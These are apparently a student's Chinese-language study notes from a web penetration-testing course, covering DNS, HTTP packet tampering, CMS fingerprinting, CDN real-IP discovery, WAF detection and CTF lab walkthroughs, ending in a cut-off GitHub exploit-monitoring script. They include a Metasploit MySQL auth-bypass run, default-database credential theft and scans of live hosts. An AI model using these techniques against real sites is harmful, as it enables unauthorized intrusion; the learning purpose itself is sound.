1)什么是域名?
域名,是由一串用点分割的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时计算机的电子方位;
例如:www.bilibili.com
2)域名在哪里注册?
在第三方平台上注册,国内的一些域名注册商,比如阿里云旗下的万网。
3)什么是二级域名多级域名?
二级域名:顶级域名之下的域名。
例如:
www.baidu.com为主域,则图中news.baidu.com为二级域名。
多级域名:概念等同于二级域名,类似于二级域名的延伸。
例如:
guoji.news.baidu.com
4)域名发现对于安全测试的意义
某个主域的二级域名或者多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。
例如:
www.xxxxx.com主域不存在漏洞,并且防御措施严密。
而二级域名edu.xxxxx.com存在漏洞,并且防护措施松散。
像这样一个主域,可能不存在漏洞,难以攻击,所以,我们可以尝试攻击它的二级域名。
里面就可能存在漏洞,加以利用可以突破到主站的权限。
简单来说,多级域名收集的意义,就是一个网站找不到漏洞时,可以找跟它服务器相同的另一个多级域名上的漏洞,做旁路攻击。
这就是旁站入侵。
1)什么是DNS?
域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。
主要用于域名与IP地址的相互转换。
2)本地HOSTS与DNS的关系
本地HOSTS重定向解析IP地址,如果网络在解析IP地址的时候,ping这个网站的时候,先到hosts文件去看看,有没有对域名对应的IP地址,没有的话再去DNS服务器上去解析。
如果去绑定IP地址,可以用这个方法,或者修改hosts文件,就能让对方指到此IP地址上去,类似于钓鱼攻击。
打开了自己的hosts文件看了看,自己没有域名,也不好做实验。
hosts文件所在的位置:C:\Windows\System32\drivers\etc\hosts
3)CDN是什么?与DNS的关系?
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。
就是缓存节点技术
CDN作用: 访问的时候找一个网络最好,通讯最快的节点,访问网络时是访问一个节点,用来解决访问速度。
CDN缺点: 由于有节点,访问网络时,请求的是一个节点,真实数据和网络相关核心不在节点上,节点相当于缓存。
两者之间关系: 更改DNS服务器,就相当于有可能访问到另一个节点。
3)常见的DNS攻击有哪些?
域名劫持
通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民访问该域名时,进入了黑客所指向的内容。
缓存投毒
利用控制DNS缓存服务器,把原本准备访问某网站的用户在不知不觉中带到黑客指向的其他网站上。
DDOS攻击
一种攻击针对DNS服务器软件本身,通常利用BIND软件程序中的漏洞,导致DNS服务器崩溃或拒绝服务;另一种攻击的目标不是DNS服务器,而是利用DNS服务器作为中间的“攻击放大器”,去攻击其它互联网上的主机,导致被攻击主机拒绝服务。
DNS欺骗
DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。
1)常见的脚本有哪些?
这里的脚本语言是Web应用程序的脚本。
例如:PHP、JavaScript、Python、ASP、ASPX、Javaweb等。
2)不同脚本类型与安全漏洞的关系
不同脚本类型,对程序源码安全性有很大关系,语言严谨,注重比较多,这个代码写出来的程序,安全漏洞比较少,程序源码的选用、写法,用哪个语言去写,将决定这套程序源码漏洞产生的概率。用安全语言去写,相对来说,产生漏洞的机率比较低。
3)漏洞挖掘代码审计与脚本类型的关系。
为了挖掘漏洞和代码审计,需要去了解脚本语言的开发的知识点,起码要能看懂代码。越往后,难度会越来越大。
1)什么是后门?有哪些后门?
后门:可以理解为攻击者,在得到相关的非法入侵后,留下后门文件,便于下次进行操作,拿到权限。
后门文件:网站后门(webshell),服务器后门等其他类型的后门。
2)后门在安全测试中的实际意义?
3)关于后门需要了解哪些?(玩法,免杀)
玩法(要能够隐藏自己),免杀(网站有杀毒软件,大部分有杀后门功能,会检测并删除,免杀就是不被检测到)
1)web的组成架构模型?
2)架构漏洞安全测试简要介绍?
今后的漏洞攻击和方法全部体现在这4个方面。
3)为什么要从web层面为主为首?
WEB使用面广,很多地方都有网站服务,源码漏洞较多。
比起其他方面,方便利用。
1)WEB源码类对应漏洞?
SQL注入、上传、xss、代码执行、变量覆盖、逻辑漏洞、反序列化等。
2)WEB中间件对应漏洞:
3)WEB数据库对应漏洞:
4)WEB系统层对应漏洞:
5)其他第三方对应漏洞
6)APP或PC应用结合类:
多级域名的枚举查找(原理、方式)
我用的子域名查询-站长工具
查找到了一些域名。
我以优酷为例子:
然后查找到了一些多级域名
#Request 请求数据包
#Response 返回数据包
#Request 请求数据包
#Proxy 代理服务器
#Response 返回数据包
HTTP的通信过程如下:
建立链接 —> 发送请求数据包 —> 返回响应数据包 —> 关闭连接
1)请求行:请求类型/请求资源路径、协议的版本和类型
请求行由三个标记组成:请求方法、请求URL和HTTP版本,它们用空格分隔。
例如: GET /index.html HTTP/1.1
HTTP 规划定义了8种可能的请求方法:
GET:检索URL中标识资源的一个简单请求
HEAD:与GET方法相同,服务器只返回状态行和头标,并不返回请求文档
POST:服务器接收被写入客户端输出流中数据的请求
PUT:服务器保存请求数据作为指定URL新内容的请求
DELETE:服务器删除URL中命令的资源的请求
OPTIONS:关于服务器支持的请求方法信息的请求
TRACE:web服务器反馈HTTP请求和其头标的请求
CONNECT:已文档化,但当前未实现的一个方法,预留做隧道处理
2)请求头:由关键字/值对组成,每行一对,关键字和值用冒号分享
HOST:主机或域名地址
Accept:指浏览器或其他客户可以接受的MIME文件格式,servlet可以根据它判断并返回适当的文件格式
User-Agent:是客户浏览器名称
Host:对应网址URL中的web名称和端口号
Accept-Language:指出浏览器可以接受的语言种类,如en或者en-us,指英语
connection:用来告诉服务器是否可以维持固定的HTTP连接、http是无连接的,HTTP/1.1使用Keep-Alive为默认值,这样当浏览器需要多个文件时(比如一个HTML文件和相关的图形文件),不需要每次都建立连接
Cookie:浏览器用这个属性向服务器发送Cookie。Cookie是在浏览器中寄存的小型数据体,他可以记载服务器相关的用户信息,也可以用来实现会话功能
Referer:表明产生请求的网页URL,这个属性可以用来跟踪web请求是从什么网站来的。如比从网页/icconcept/index.jsp中点击一个链接到网页/icwork/search,再向服务器发送的GET/icwork/search中的请求中,Referer是http://hostname:8080/icconcept/index.jsp
Content-Type :用来表明request的内容类型,可以用HttpServeletRequest的getContentType()方法取得。
Accept-Charset:指出浏览器可以接受的字符编码
Accept-Encoding:指出浏览器可以接受的编码方式。编码方式不同于文件格式,它是为了压缩文件传递速度。浏览器在接收到web响应之后再解码,然后再检查文件格式
3)空行:请求头与请求体之间用一个空行隔开
最后一个请求头标之后是空行,发送回车符和退行,通知服务器以下不再有头标。
4)请求数据
使用POST传送,最常使用的是Content-Type和Content-Length头标
5)Request请求数据包
我观看小迪视频的时候截图的一个request,类似于下图。
1)Response返回数据包数据格式
一个响应由四个部分组成:状态行、响应头标、空行、响应数据;
2)状态行:协议版本,数字形式的状态代码和状态描述,各元素之间用空格进行分割
HTTP响应码
3)响应头标:包含服务器类型、日期、长度、内容类型等
像请求头标一样,它们指出服务器的功能,标识出响应数据的细节。
4)空行:响应头与响应体之间用空行隔开
最后一个响应头标之后是一个空行,发送回车符和退行,表面服务器以下不再有头标。
5)响应数据:浏览器会将实体内容中的数据取出来,生成相应的页面
HTML文档和图像等,也就是HTML本身。
1.Burpsuite抓包修改测试
先配置了一下我火狐的代理。
然后刷新一下小迪渗透吧的页面,成功抓包。
修改了域名,小迪老师输的是zzz,为了证明自己做的,我输入的是www
提交数据包后
2.敏感文件扫描工具简要实现
3.第三方检测修改实现XSS攻击
用站长之家查看了一下自己的IP/域名。
抓了这个网站的数据包。
修改客户浏览器名称,然后可以看到:
得出结论:数据包是我们和网站打交道的东西,通过修改达到伪造。
4.CTF或实际应用中部分考题解析(mozhe)
打开靶场后:
先抓个包看看
重点就是Referer,修改网页,改成google.com
然后得到Key
解题成功。
打开靶场后:
问题的关键就在于iPhone手机和2G网络下。
根据题目提示
修改数据包的客户浏览器名称(用以下数据)
最后成功得到KEY
解题成功。
将GET修改成POST,并将content放到最后,并且空出一行。
我在这里用的hackbar,一样的POST
得到KEY
解题成功!
打开题目看一下
抓包,然后增加X-Forwarded-For
发送到intruder,设置变量
设置数值
然后就可以开始攻击了
ASP,PHP,ASPX,JSP,PY,JAVAWEB等环境
IP地址可以访问发现更多内容,而域名访问只能发现一个文件夹下的所有文件。IP地址访问可以发现程序源码备份文件和敏感信息。访问网站的时候,可以访问域名,也可以访问IP地址。访问域名一般会指向某个目录,而访问IP地址一般会指向根目录;
指定后缀名对应某个文件,访问网站出现遇到不能解析的文件就是中间件可能默认或者添加某些设置导致解析时出现问题。
学校内网和企业内外会出现。会限制外部人员访问内部的网站,限制IP地址,规范访问者的权限。
身份验证和访问控制,基于用户的限制。
授权访问—只允许指定IP地址访问,拒绝访问—拒绝指定IP地址访问;
1.基于中间件的简要识别
2.基于中间件的安全漏洞
Web中间件常见漏洞
3.基于中间件的靶场使用
首先,自己下载了虚拟机,安装好了Vulhub环境;
启动靶场环境;
然后根据官网指示打开网站
新建一个txt文件,里面输入php
改成jpg图片,并且上传;
在网址后面输入/uploadfiles/x.php.jpg,得到如下显示
靶场的测试到此结束;
前言:Web源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中Web源码有很多技术需要简明分析。比如:获取某ASP源码后可以采用默认数据库下载为突破,获取某其他脚本源码漏洞可以进行代码审计挖掘或分析其业务逻辑等,总之源码的获取将为后期的安全测试提供了更多的思路。
数据库配置文件、后台目录、模板目录、数据库目录等
我在我下载的这个源码中并没有找到数据库配置文件,不过听了讲课,数据库配置文件,网站和数据库的通讯信息,连接账号密码,可以去连接对方数据库,从数据库去得到这个网站的源码里面涉及到的管理员的账号密码。
ASP,PHP,ASPX,JSP,JAVAWEB等脚本类型源码安全问题。
之前图片里面的分类:
社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞。
开源,未开源问题,框架非框架问题,关于CMS识别问题及后续等。
拿到对方的源码或者判断这个网站的应用类型之后应该侧重在哪些漏洞上做文章。
如果对方网站采用的是框架开发的话那么你面对的就是寻找框架的漏洞,如果是非框架的话寻找的漏洞针对的是代码写出来的漏洞
CMS识别:判定一个网站是用什么程序搭建的
开源:去网上找寻漏洞文章。内部:常规的渗透测试,用扫描工具去判断。
关于源码的获取途径:搜索,闲鱼淘宝,第三方源码站,各种行业对应。
(2)本地工具 whatweb
御剑web指纹识别程序 百度网盘
大禹CMS识别程序
1)ASP、PHP等源码下安全测试
1.平台识别—某CMS无漏洞—默认数据库
2.平台识别—某CMS有漏洞—漏洞利用
打开靶场,打开asp注入(靶场是别人分享的)
点开搬家公司ASP注入
随便打开一个任意界面,看到页面后缀为asp,根据页面后缀判断。
翻到网站底部,发现了XYCMS
去网上搜索XYCMS源码,自己下载一份
打开文件夹,找到xydata(关键数据库路径文件),找到asp特有文件xycms.mdb
mdb文件就是数据库的备份文件
该文件里面存有管理员的账号密码(我自己没有下载出来打开mdb的文件,借用一下别人的)
密码MD5解密就是admin
访问到后台
然后输入用户名和密码,登陆成功。
前言:除去搭建平台中间件,网站源码外,容易受到攻击的还有操作系统,数据库,第三方软件平台等,其中此类攻击也能直接影响到Web或服务器的安全,导致网站或服务器权限的获取。
1. 识别系统常见方法
因为Windows系统下网站对大小写不区分,所有可以由此来区分系统
上边的网址其实就是目录,windows系统不区分大小写的,所以把原有目录改大小写不受影响。
而linux是严格区分大小写的,把人家目录改成大写人家系统以为是另一个文件找不到当然报错了。
改成大写后,就打不开了,这个网站对应的操作系统就是Linux系统。
也可以通过TTL值来判断操作系统,但是有的时候判断不准确。
还可以用nmap去判断操作系统。
2. 简要两种区别和识别意义
网站路径不同,磁盘储存不一样,大小写区别,文件在不同的操作系统的适用性,并且操作系统不兼容。
知道了是哪种操作系统,往那种操作系统方向去发展,寻找漏洞。
3. 操作系统层面漏洞类型对应意义
漏洞类型有很多,漏洞类型的不同,再利用漏洞的时候需要的条件也会不同。
4. 简要操作系统层面漏洞影响范围
要去能获取权限,或者对操作系统能有一些干扰,使其崩溃。
1.识别数据库类型常见方法
数据库分类:
通过网站查询常见的数据库,脚本连接数据库:
常见数据库默认端口
filtered表示过滤,下图为端口扫描
2.数据库类型区别及识别意义
数据库的不同,结构也会不同,每个数据库的安全机制、写法机制,功能都会不一样,产生的漏洞也会不一样。
不同数据库的攻击方法都会有不一样。
3.数据库常见漏洞类型及攻击
弱口令:通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。
4.简述数据库层面漏洞影响范围
通过数据库漏洞,获取权限,对数据库进行一些修改,甚至可以获得网站的权限,对网站进行进行一系列的操作。
1.如何判断有哪些第三方平台和软件
常见的第三方有Jboss,PHPmyadmin,vsftpd,teamview等。
大部分是通过端口扫描或者对网站路径进行扫描。
2.简要为什么要识别第三方平台或软件
我们可以对第三方平台或者软件进行识别,来寻找漏洞。
除去常规WEB安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件、游戏、负载均衡等)也可以作为安全测试目标,此类目标测试原则只是少了WEB应用或其他安全问题。所以明确安全测试思路是很重要的!
1.某数据库弱口令及漏洞演示
Mysql 身份认证绕过漏洞(CVE-2012-2122)
先开始环境的搭建
使用kali的nmap扫描试验机
使用kali自带的msfconsole模块进行攻击
命令:msfconsole
接着搜扫漏洞
命令: search mysql
利用模块然后查看设置选项
利用命令:use auxiliary/scanner/mysql/mysql_authbypass_hashdump
查看选项命令:show options
设置目标地址
命令:set rhost 192.168.74.141
设置线程为100
命令:set threads 100
运行
命令:exploit
攻击成功,就是效果不是很直接。
前言:在渗透测试中,常见的密码等敏感信息会采用加密处理,其中作为安全测试人员必须要了解常见的加密方式,才能为后续的安全测试做好准备。
自己写可以下载工具使用,我下载了小迪老师推荐的工具;
网上有一个网站可以解密MD5:CMD5
CMD5采取枚举的方法,像字典,照着密文找明文,MD5碰撞;
网站、服务器或脚本语言经常使用的东西,计算机时间与我们看时间不同;
是一份能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据。
类似于这样:
有些计算机必须传送时间戳才能知道是时间,经常会在数据库中,会有所记录;
时间戳在线网站链接:时间戳
url编码解码,又叫百分号编码,是统一资源定位 (URL)编码方式。. URL地址(常说网址)规定了常用地数字,字母可以直接使用,另外一批作为特殊用户字符也可以直接用(/,:@等),剩下的其它所有字符必须通过%xx编码处理。.
在下面的网站中写上空格和1=1,得到如下反馈;
由于空格是特殊符号,所以需要进行转义,如果把数字1转义,会实行两次转义,浏览器会自动识别;
但是浏览器只会解密一次,做关键词绕过的时候需要去解密;
和URL编码有一些类似,也有%,是% + 4位数字;
AES比其他加密方式要更高级,会涉及到其他一些东西,加密的时候会涉及到密码、偏移量、填充和数据块等方面,一起来加密;相当于加了一些干扰进去。
在线网址链接:AES
可以从中间和结尾加密,加密强度更强,解密难度也更大,输出也进行了编码;
用base64解码出来是乱码,有很大可能是AES加密。
必须有密码和偏移量,否则不可能解密。
有时候会出现 “ / ”;
直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等;
枚举,自定义逆向算法,可逆向;
长度位数,字符规律,代码分析,搜索获取等;
1.某CTF比赛题目解析
题目在原来的网址上已经找不到了,我自己在其他页面也没有找到,这里实在不好去复现了,就把人家的截个屏放在这里了;
2.某CMS密码加密解密
需要用MD5 + salt才能解开;
使用md5(md5( p a s s ) pass) pass)salt)可以解密成功!!!
3.某URL加密地址的漏洞测试
AES+Base64+自定义
观察参数值加密字符串,下载源代码分析,函数定义AES加密,设计模式CBC,128位,加密密码,偏移量,两次base64减去常规一次,填充模式(_mozhe)
用WebPathBrute扫一扫
扫到地址,直接打开;
找到php代码
上面给我们提供了加密模式、数据块、密码和偏移量,而且还写出来两次base64加密;
进行第一次base64解密
然后进行AES解密,得到密文1_mozhe
然后再进行代码审计,将_mozhe除去,得到1;
我们在进行SQL注入的时候,要将1 and 1=1 或者其他的payload转化成相同的格式进行加密,然后才可以注入;
第一次加密
第二次加密
因为暂时没有学习SQL注入,题目就做到加解密结束了;
前言:CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。但在安全测试过程中,若存在CDN服务,将会影响到后续的安全测试过程
利用多节点技术进行请求返回判断
在线查询网站:超级ping
当ping出来的返回IP地址都是一样的时候,就证明没有CDN
像这样的就没有CD
当ping出来的响应IP地址不一样的时候就证明有CDN
1. 子域名查询
从经济来讲,主站关注点更高,为了节约成本,主站做CDN服务,子域名分站可能没有做CDN服务。所以如果子域名没有做CDN服务,它的真实IP可以推出主站IP。一般来说,主站跟分站在一个段内;
子域名的查询
在线子域名二级域名查询
子域名小技巧
一般情况下,www.XXX.com和XXX.com指向的是同一个DNS服务器,进入XXX.com会自动跳转到www.XXX.com,所以XXX.com不需要大流量,不用做CDN。如果加www检测不出来,可以试着去掉,或许就可以得到真实IP了。
m.xxx.com是手机站点和上面子域名小技巧是一个意思。
2. 邮件服务查询
很多公司内部都会有一个邮件服务器,正规的好的公司都会有自己的邮箱地址,内部会有邮箱服务器,一般没必要去做CDN。这里会有正向反向的差别,邮件服务器是对方发邮件给你,它来找你,这样它的真实IP地址就会泄露,根据对方邮件服务器给我们发送的邮件,来判定对方邮件服务器的地址。
3. 国外地址请求
有些网站为了节约成本,它会只考虑它的客户群体的地区来做一个CDN节点的部署,而不会布置到国外去,如果通过国外地址去请求国内的目标,很容易找到真实IP地址,因为它的节点没有布置到国外。
这里用到一款全球ping扫工具,热度越低的国家,效果越好。
全球ping:IPIPtools
4. 遗留文件,扫描全网
一些站点在搭建之初,会用一些文件测试站点,例如“phpinfo()”文件,此类文件里就有可能包含了真实的IP地址。可以利用Google搜索引擎搜索关键字“site:xxx.com inurl:phpinfo.php”,搜索站点是否有遗留文件。
扫描全网:
在上面的方法不行的时候采取的一个究极办法,借助一些工具、软件或者平台,把全世界的网络对你的网站进行访问,判断一下响应IP,通过IP地址的收集整理,把节点访问的IP地址全部收集下来,去分析哪一个可能是真实IP地址。
因为不可能每个地区都有CDN节点,真实IP一定在收集的里面,至少服务器所在地区应该没有CDN服务,把所有可能性收集在一起,直到找到真实IP地址。
5. 黑暗引擎搜索特定文件
黑暗搜索引擎就是另类的百度、谷歌,有shodan,zoomeye、fofa。
会有搜索特定关键词,更加的实时,可以搜索指定文件;
这里的特定文件,指的是站点的icon文件,也就是网站的图标,一般查看网页源代码可以找到,格式大致“http://www.xx.com/favicon.ico”。在shodan搜索网站icon图标的语法为:http.favicon.hash:hash值,hash是一个未知的随机数,我们可以通过shodan语法来查看一个已经被shodan收录的网站的hash值,来进一步获取到所有带有某icon的网站。
6. DNS历史记录,以量打量
通过查询网站相关的DNS记录,以前这个网站没使用CDN服务,会遗留一些服务,找到没有设置CDN时的历史记录,找到IP地址,有可能就是真实IP地址。
“以量打量”就是常说的ddos攻击或者说是流量耗尽攻击,在网上开CDN的时候,都会分地区流量,就比如这个节点有100M流量,当这流量用完后,用户再访问就会访问网站真实的ip地址。
这样攻击属于违法的,并不推荐。
1. 利用子域名请求IP真实地址
我们在这边ping一下学而思的域名;
发现找不到它的真实IP地址;
但是我们去ping下面这个域名时
可以看出来,真实IP地址不是124.250.113.71 就是124.250.113.72。
2. 利用第三方接口查询获取真实IP
第三方接口网站:
Get Site Ip
微步在线
用上面的网站来查询学而思的真实IP地址
真实IP地址为124.250.113.72
3. 利用邮件服务器接口获取真实IP
mozhe 邮件源码测试对比第三方查询(地区分析)
收到一份墨者的邮件,点开圈红的地方
然后可以看到“显示邮件全文”几个字
得到了疑似真实IP地址
然后查询这个IP地址所在的位置,在重庆
墨者的公司也在重庆,基本上可以确定是真实IP地址(小迪也这样觉得)
前言:在安全测试中,信息收集是非常重要的一个环节,此环节的信息将影响到后续的成功几率,掌握信息的多少将决定发现漏洞机会大小,换言之决定着是否能完成目标的测试任务。也可以很直接的跟大家说:渗透测试的思路就是从信息收集这里开始,你与大牛的差距也是从这里开始的。
1)搭建习惯——目录型站点
原则上是一个网站,但是区别在于目录下的差异;
例如:D:\Microsoft\AndroidNDK64\android-ndk-r16b\build\core\toolchains\aarch64-linux-android-4.9
和D:\Microsoft\AndroidNDK64\android-ndk-r16b\build\core\toolchains\mips64el-linux-android-clang,这两者只是目录路径不同;
但是两个网站使用的是两套程序,一个网站出现问题,另一个网站也会遭殃,就相当于有了两套漏洞两个方案。
我们可以通过目录扫描来获取相关信息。
2)搭建习惯——端口类站点
通过不同的端口将两个网站分开,一个网站出了问题,另一个网站也会出现问题;
例如:小迪的靶场
3)搭建习惯——子域名站点
通过子域名将两个网站分开,可能在一起,也可能不在一起,就是两个网站可能不在同一个服务器上;
goodlift-www.bbs-子域名两套CMS
主站使用的
分站使用的
ping出来的IP是一样的,在同一个服务器上
也有可能不在一起,但是可能在同一网段,也有可能不同网段;
4)搭建习惯——类似域名站点
通过后缀寻找类似站点,通过中间的域名去找类似域名;
寻找出自于同一公司的网站;
jmlsd -cn.com.net等各种常用域名后缀名;
5)搭建习惯——旁注,C段站点
旁注
同服务器不同站点,前提条件是:有多个站点服务器;旁注是一种入侵方法,在字面上解释就是-“从旁注入”,利用同一主机上面不同网站的漏洞得到webshell,从而利用主机上的程序或者是服务所暴露的用户所在的物理路径进行入侵。
192.168.1.100
www.a.com
www.b.com
……
C段
同网段不同服务器不同站点;网站有一个或多个站点,通过服务器IP地址的网段来进行测试。
192.168.1.100
www.a.com
www.b.com
…
192.168.1.101
www.c.com
www.d.com
通过查询网段1-254,去获取101网段服务器权限,在通过服务器同一个网段目标主机来实施内网安全的测试方法,来获取指定网服务器的权限。
6)搭建习惯——搭建软件特征站点
搭建软件:宝塔、lnmap等软件。
用中间件搭建,在网站源代码中显示的服务器信息比较少,用搭建平台,显示的服务器信息比较多。
1)什么是WAF应用
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
分为软件和硬件,在安全公司单位购买的防火墙都是硬件,个人网站和小企业搭建都是软件。
2)如何快速识别WAF
使用wafw00f可以快速识别,Linux上的kali自带,直接就可以使用
命令: wafw00f 域名/IP
还有其他几种方法,像sqlmap,namp都可以去查找WAF;
以下是wafw00f可以识别的WAF
ACE XML Gateway Cisco
aeSecure aeSecure
AireeCDN Airee
Airlock Phion/Ergon
Alert Logic Alert Logic
AliYunDun Alibaba Cloud Computing
Anquanbao Anquanbao
AnYu AnYu Technologies
Approach Approach
AppWall Radware
Armor Defense Armor
ArvanCloud ArvanCloud
ASP.NET Generic Microsoft
ASPA Firewall ASPA Engineering Co.
Astra Czar Securities
AWS Elastic Load Balancer Amazon
AzionCDN AzionCDN
Azure Front Door Microsoft
Barikode Ethic Ninja
Barracuda Barracuda Networks
Bekchy Faydata Technologies Inc.
Beluga CDN Beluga
BIG-IP Local Traffic Manager F5 Networks
BinarySec BinarySec
BitNinja BitNinja
BlockDoS BlockDoS
Bluedon Bluedon IST
BulletProof Security Pro AITpro Security
CacheWall Varnish
CacheFly CDN CacheFly
Comodo cWatch Comodo CyberSecurity
CdnNS Application Gateway CdnNs/WdidcNet
ChinaCache Load Balancer ChinaCache
Chuang Yu Shield Yunaq
Cloudbric Penta Security
Cloudflare Cloudflare Inc.
Cloudfloor Cloudfloor DNS
Cloudfront Amazon
CrawlProtect Jean-Denis Brun
DataPower IBM
DenyALL Rohde & Schwarz CyberSecurity
Distil Distil Networks
DOSarrest DOSarrest Internet Security
DotDefender Applicure Technologies
DynamicWeb Injection Check DynamicWeb
Edgecast Verizon Digital Media
Eisoo Cloud Firewall Eisoo
Expression Engine EllisLab
BIG-IP AppSec Manager F5 Networks
BIG-IP AP Manager F5 Networks
Fastly Fastly CDN
FirePass F5 Networks
FortiWeb Fortinet
GoDaddy Website Protection GoDaddy
Greywizard Grey Wizard
Huawei Cloud Firewall Huawei
HyperGuard Art of Defense
Imunify360 CloudLinux
Incapsula Imperva Inc.
IndusGuard Indusface
Instart DX Instart Logic
ISA Server Microsoft
Janusec Application Gateway Janusec
Jiasule Jiasule
Kona SiteDefender Akamai
KS-WAF KnownSec
KeyCDN KeyCDN
LimeLight CDN LimeLight
LiteSpeed LiteSpeed Technologies
Open-Resty Lua Nginx FLOSS
Oracle Cloud Oracle
Malcare Inactiv
MaxCDN MaxCDN
Mission Control Shield Mission Control
ModSecurity SpiderLabs
NAXSI NBS Systems
Nemesida PentestIt
NevisProxy AdNovum
NetContinuum Barracuda Networks
NetScaler AppFirewall Citrix Systems
Newdefend NewDefend
NexusGuard Firewall NexusGuard
NinjaFirewall NinTechNet
NullDDoS Protection NullDDoS
NSFocus NSFocus Global Inc.
OnMessage Shield BlackBaud
Palo Alto Next Gen Firewall Palo Alto Networks
PerimeterX PerimeterX
PentaWAF Global Network Services
pkSecurity IDS pkSec
PT Application Firewall Positive Technologies
PowerCDN PowerCDN
Profense ArmorLogic
Puhui Puhui
Qiniu Qiniu CDN
Reblaze Reblaze
RSFirewall RSJoomla!
RequestValidationMode Microsoft
Sabre Firewall Sabre
Safe3 Web Firewall Safe3
Safedog SafeDog
Safeline Chaitin Tech.
SecKing SecKing
eEye SecureIIS BeyondTrust
SecuPress WP Security SecuPress
SecureSphere Imperva Inc.
Secure Entry United Security Providers
SEnginx Neusoft
ServerDefender VP Port80 Software
Shield Security One Dollar Plugin
Shadow Daemon Zecure
SiteGround SiteGround
SiteGuard Sakura Inc.
Sitelock TrueShield
SonicWall Dell
UTM Web Protection Sophos
Squarespace Squarespace
SquidProxy IDS SquidProxy
StackPath StackPath
Sucuri CloudProxy Sucuri Inc.
Tencent Cloud Firewall Tencent Technologies
Teros Citrix Systems
Trafficshield F5 Networks
TransIP Web Firewall TransIP
URLMaster SecurityCheck iFinity/DotNetNuke
URLScan Microsoft
UEWaf UCloud
Varnish OWASP
Viettel Cloudrity
VirusDie VirusDie LLC
Wallarm Wallarm Inc.
WatchGuard WatchGuard Technologies
WebARX WebARX Security Solutions
WebKnight AQTRONIX
WebLand WebLand
RayWAF WebRay Solutions
WebSEAL IBM
WebTotem WebTotem
West263 CDN West263CDN
Wordfence Defiant
WP Cerber Security Cerber Tech
WTS-WAF WTS
360WangZhanBao 360 Technologies
XLabs Security WAF XLabs
Xuanwudun Xuanwudun
Yundun Yundun
Yunsuo Yunsuo
Yunjiasu Baidu Cloud Computing
YXLink YxLink Technologies
Zenedge Zenedge
ZScaler Accenture
3)识别WAF对于安全测试的意义
如果我们发现对面有WAF,不能对对面用扫描工具进行扫描;
前言:在安全测试中,若WEB无法取得进展或无WEB的情况下,我们需要借助APP或其他资产在进行信息收集,从而开展后续渗透,那么其中的信息收集尤为重要,这里我们用案例讲解试试如何!
这里的APP用逍遥模拟器代替一下,然后再用工具,漏了个大洞里面的apk数据提取这个工具;
点开result,然后找到反编译的那个APP,里面的文件都是需要一些java代码基础的才能看懂,这里就不去过多的解释;
这些是从apk中提取出来的url地址,可以通过这几种网站进行安全测试;
打开burp,修改一下逍遥模拟器的代理,然后就可以进行抓包;
然后就可以抓到包了
根据url文件和抓包可以获得更多地址,有助于安全测试;
1)某IP无WEB框架下的第三方测试
各种端口一顿乱扫—思路
各种接口一顿乱扫—思路
接口部分一顿测试—思路
试用一个IP地址45.33.42.112来做测试;
首先用nmap来进行端口扫描,nmap扫描的全但是时间慢;
也可以用黑暗引擎像shodan,钟馗之眼,fofa;
成功登陆进去一个端口,英特尔主动管理技术;
2)某传销网站信息收集
换一个传销网站接着收集信息,www.caredally.com
对这个IP进行端口分析
发现OpenSSH
去查询一下OpenSSH有什么漏洞可以利用
然后用昨天学习的内容再去收集信息
1.子域名查询
从中找到有用的子域名,来收集信息;
2.类似域名站点
小迪老师用站长之家差备案查询,但是不知道为啥我的没查到,而且我还不是VIP,借用一下小迪老师的查询结果
点开网站
3.通过官网名称搜索信息
用谷歌搜索了一下,发现了.xyz的域名
/robots.txt发现了有用的信息
发现了CMS
总结:总的来说就是先收集一下IP和域名,再对端口、子域名、目录扫描一遍;
GitHub是搞计算机使用较多的平台,有很多项目,我们监控他可以:
便于收集整理最新exp或poc(POC全称是Proof of Concept,中文译作概念验证。它是专门为了验证漏洞是否真的存在的脚本。而EXP全称是Exploit,中文译作漏洞利用程序。它是对POC验证结果的一种漏洞利用脚本。)
便于发现相关测试目标的资产
监控最新的EXP及其发布(地址:使用地址)
使用代码,有几个python库需要自己安装一下;
# Title: wechat push CVE-2020
# Date: 2020-5-9
# Exploit Author: weixiao9188
# Version: 4.0
# Tested on: Linux,windows
# cd /root/sh/git/ && nohup python3 /root/sh/git/git.py &
# coding:UTF-8
import requests
import json
import time
import os
import pandas as pd
time_sleep = 60 # 每隔 20 秒爬取一次
while (True):
headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400"}
# 判断文件是否存在
datas = []
response1 = None
response2 = None
if os.path.exists("olddata.csv"):
# 如果文件存在则每次爬取 10 个
df = pd.read_csv("olddata.csv", header=None)
datas = df.where(df.notnull(), None).values.tolist()
# 将提取出来的数据中的 nan 转化为 None
requests.packages.urllib3.disable_warnings()
response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&perpage = 10",headers=headers1,verify=False)
response2 =requests.get(url="https://api.github.com/search/repositories?q=RCE&ssort=updated&per_page=10", headers = headers1, verify = False)
else:
